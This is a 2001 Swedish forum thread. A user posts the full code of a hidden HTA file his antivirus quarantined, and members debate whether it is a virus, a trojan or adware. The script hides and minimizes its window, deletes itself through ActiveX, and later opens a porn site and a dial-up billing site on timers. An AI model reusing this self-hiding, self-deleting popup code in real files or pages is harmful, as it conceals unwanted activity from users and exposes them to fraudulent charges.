C:\ht.hta - popup porr?

7 svar · 477 visningar · startad av Pace 24 okt. 2001

PaceMedlem sedan juni 20019 024 inlägg

Trådstart24 okt. 2001 17:40#1

Hittade följande lilla HTML-applikation när jag körde Norton AntiVirus2001:

Norton hade satt denna filen (c:\ht.hta) i karantän, och helt plötsligt (nu när jag försökte skriva detta inlägg) så poppar ett fönster upp från ingenstans och laddar in nedanstående porr-adress (babylon-x).

<font size="1" face="Verdana, Arial, Helvetica, sans-serif">Kod:<font size="1" face="Verdana, Arial, Helvetica, sans-serif" color="#666600"><HTML><HEAD><TITLE> </TITLE><HTA:APPLICATION SHOWINTASKBAR='no' BORDER='none' WINDOWSTATE='minimize'><SCRIPT>self.moveTo(15000,15000);var fs=new ActiveXObject('Scripting.FileSystemObject');function f(){fs.DeleteFile('c:\\ht.hta');}setTimeout('f();',500);
setTimeout('window.open("http://www.babylon-x.com/cgi-bin/click?id=rhc","\_blank");',500000);
setTimeout('window.open("http://dist02.chargitdial.com/?1&7085","\_blank");',1700000);
setTimeout('self.close();',1701000)
</script></body></html>

Ni kanske ska se över så att ni inte har någon liknande fil på era burkar!

stoffe-2kMedlem sedan apr. 200010 782 inlägg

24 okt. 2001 19:26#2

"one hand surfing" :OO

PaceMedlem sedan juni 20019 024 inlägg

24 okt. 2001 19:36#3

stoffe-2k:

Nej, vet faktiskt inte var den kommer ifrån,
Jag håller ju alltid åtminstone en hand på musen!

McDMedlem sedan mars 20002 520 inlägg

25 okt. 2001 09:53#4

Humm är du säker på att det är ett virus? verkar vara någon form av reklam !?!?!?!

Har hört om detta förrut... ska kolla mer!

PaceMedlem sedan juni 20019 024 inlägg

25 okt. 2001 15:07#5

Filen aktiveras av sig själv vid några tillfällen och jag har verkligen inte lagt den där, så jag betraktar den som ett virus.

Men visst är det reklam.

McDMedlem sedan mars 20002 520 inlägg

26 okt. 2001 07:24#6

Nja virus är det inte... virus ska ha en playload för att betraktas som virus. Snarare någon form av mask eller trojan... Men i det förra fallet detta kom upp var det användaren som hade startat filen för något annat program som denna ladda ner och detta kom lixom med i det programmet användaren vill ha... då spred det sig inte vidare alls dvs ingen playload.

mappoMedlem sedan apr. 2001664 inlägg

26 okt. 2001 09:51#7

Jag installerade en gång ett program som kunde döpa .mp3-filer utifrån deras id3-tag.

Det la in en liknande reklam-agent.
Den var ganska känd och det fanns en artikel på astalavista där det stod hur man blev av med den.

PaceMedlem sedan juni 20019 024 inlägg

26 okt. 2001 17:30#8

McD: Mycket möjligt, hur som helst så var den inte välkommen i alla fall!

mappo: Hmmm, jäkligt konstigt eftersom jag inte installerat något program därifrån över huvud taget (knappast något annat oseriöst program heller).

Hur fan kan den ha hamnat på burken då? Websidor kan väl knappast skriva till mina enheter?